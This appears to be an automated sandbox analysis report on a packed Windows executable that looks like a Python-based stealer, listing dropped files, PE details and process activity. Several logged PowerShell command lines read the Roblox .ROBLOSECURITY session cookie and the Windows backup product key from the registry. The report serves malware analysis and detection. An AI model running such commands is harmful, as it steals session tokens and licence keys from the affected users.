Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

File opened: C:\Users\user\Desktop\pyvenv.cfg

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: e45AiBoV6X.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: e45AiBoV6X.exe

Static file information: File size 6146615 > 1048576

Source: e45AiBoV6X.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: e45AiBoV6X.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: e45AiBoV6X.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: e45AiBoV6X.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: e45AiBoV6X.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: e45AiBoV6X.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: e45AiBoV6X.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: e45AiBoV6X.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\_w\1\b\bin\amd64\_lzma.pdbMM source: e45AiBoV6X.exe, 00000001.00000002.1995160650.00007FFE1025B000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\select.pdb source: e45AiBoV6X.exe, 00000001.00000002.1997954782.00007FFE130C1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\sqlite3.pdb source: e45AiBoV6X.exe, 00000001.00000002.1993602283.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_sqlite3.pdb source: e45AiBoV6X.exe, 00000001.00000002.1996506357.00007FFE11EA1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: e45AiBoV6X.exe
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: e45AiBoV6X.exe, e45AiBoV6X.exe, 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\python310.pdb source: e45AiBoV6X.exe, 00000001.00000002.1992435238.00007FFDFB77F000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_bz2.pdb source: e45AiBoV6X.exe, 00000001.00000002.1997119035.00007FFE126C1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: e45AiBoV6X.exe, 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_queue.pdb source: e45AiBoV6X.exe, 00000001.00000002.1997695526.00007FFE12E11000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_ssl.pdb source: e45AiBoV6X.exe, 00000001.00000002.1994462832.00007FFE0EC41000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_hashlib.pdb source: e45AiBoV6X.exe, 00000001.00000002.1994882993.00007FFE101D1000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_lzma.pdb source: e45AiBoV6X.exe, 00000001.00000002.1995160650.00007FFE1025B000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: \bx.pdb source: powershell.exe, 00000025.00000002.1868678671.00000296ED014000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000041.00000000.1882689611.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: e45AiBoV6X.exe, 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.pdb source: powershell.exe, 00000025.00000002.1843488107.0000029680385000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: e45AiBoV6X.exe, 00000000.00000003.1716520142.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1997442294.00007FFE126F1000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\_w\1\b\bin\amd64\_ctypes.pdb source: e45AiBoV6X.exe, 00000001.00000002.1996803109.00007FFE11EC1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: e45AiBoV6X.exe, 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\_socket.pdb source: e45AiBoV6X.exe, 00000001.00000002.1995817192.00007FFE10301000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.pdbhP source: powershell.exe, 00000025.00000002.1843488107.0000029680385000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\bin\amd64\unicodedata.pdb source: e45AiBoV6X.exe, 00000001.00000002.1989811289.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: e45AiBoV6X.exe, e45AiBoV6X.exe, 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmp

Source: e45AiBoV6X.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: e45AiBoV6X.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: e45AiBoV6X.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: e45AiBoV6X.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: e45AiBoV6X.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.cmdline"

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 1_2_00007FFDFB354460 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

1_2_00007FFDFB354460

Source: libcrypto-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x110586
Source: libffi-7.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9bb1
Source: python310.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x170f8b
Source: _ctypes.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xe78a
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x5531f
Source: e45AiBoV6X.exe	Static PE information: real checksum: 0x5e31e3 should be: 0x5e8567
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x174bf
Source: _ssl.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1721f
Source: sqlite3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9ae0f
Source: libssl-1_1.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x3d34c
Source: bohkan2x.dll.44.dr	Static PE information: real checksum: 0x0 should be: 0x1059a
Source: _queue.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xbdb3
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xf3db
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x28949
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xc47c
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x12cec
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x213c2
Source: _sqlite3.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1ae1a

Source: libffi-7.dll.0.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEEA2F5 push rsp; retf	1_2_00007FFDFAEEA2F6
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE92F4 push r10; retf	1_2_00007FFDFAEE9360
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6C31 push r10; ret	1_2_00007FFDFAEE6C33
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE9C12 push rsp; retf	1_2_00007FFDFAEE9C13
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE91B3 push rdi; iretd	1_2_00007FFDFAEE91B5
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEEA174 push rsp; ret	1_2_00007FFDFAEEA175
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6F42 push r12; ret	1_2_00007FFDFAEE6F5A
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE8F0E push r12; ret	1_2_00007FFDFAEE8F35
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6EE0 push r12; ret	1_2_00007FFDFAEE6EFE
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6EC6 push r10; retf	1_2_00007FFDFAEE6EC9
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6EAB push rsi; ret	1_2_00007FFDFAEE6EAC
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6E9C push rsp; iretd	1_2_00007FFDFAEE6E9D
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE8E76 push rbp; iretq	1_2_00007FFDFAEE8E77
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE77FA push rsi; ret	1_2_00007FFDFAEE7831
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6F9D push r10; ret	1_2_00007FFDFAEE6FB0
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE8F63 push r12; iretd	1_2_00007FFDFAEE8F7A
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6F64 push r8; ret	1_2_00007FFDFAEE6F6C
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6D06 push r12; ret	1_2_00007FFDFAEE6D08
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6CFA push rdx; ret	1_2_00007FFDFAEE6D01
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6CDC push r8; ret	1_2_00007FFDFAEE6CE9
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEEA4B9 push rdx; ret	1_2_00007FFDFAEEA510
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6E54 push rdi; iretd	1_2_00007FFDFAEE6E56
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE6E0B push rsp; ret	1_2_00007FFDFAEE6E13
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE85B7 push r12; ret	1_2_00007FFDFAEE85F3
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE9D95 push rsp; iretq	1_2_00007FFDFAEE9D96
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Code function: 1_2_00007FFDFAEE856C push rbp; retf	1_2_00007FFDFAEE8585
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9ACFD2A5 pushad ; iretd	6_2_00007FFD9ACFD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9AE100BD pushad ; iretd	6_2_00007FFD9AE100C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9AE1862D push ebx; ret	6_2_00007FFD9AE186CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9AE1861D push ebx; ret	6_2_00007FFD9AE1862A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD9AEE9266 push esi; ret	6_2_00007FFD9AEE9267

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\bohkan2x\bohkan2x.dll	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73802\_ctypes.pyd	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 0_2_00007FF6FB1E50B0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF6FB1E50B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
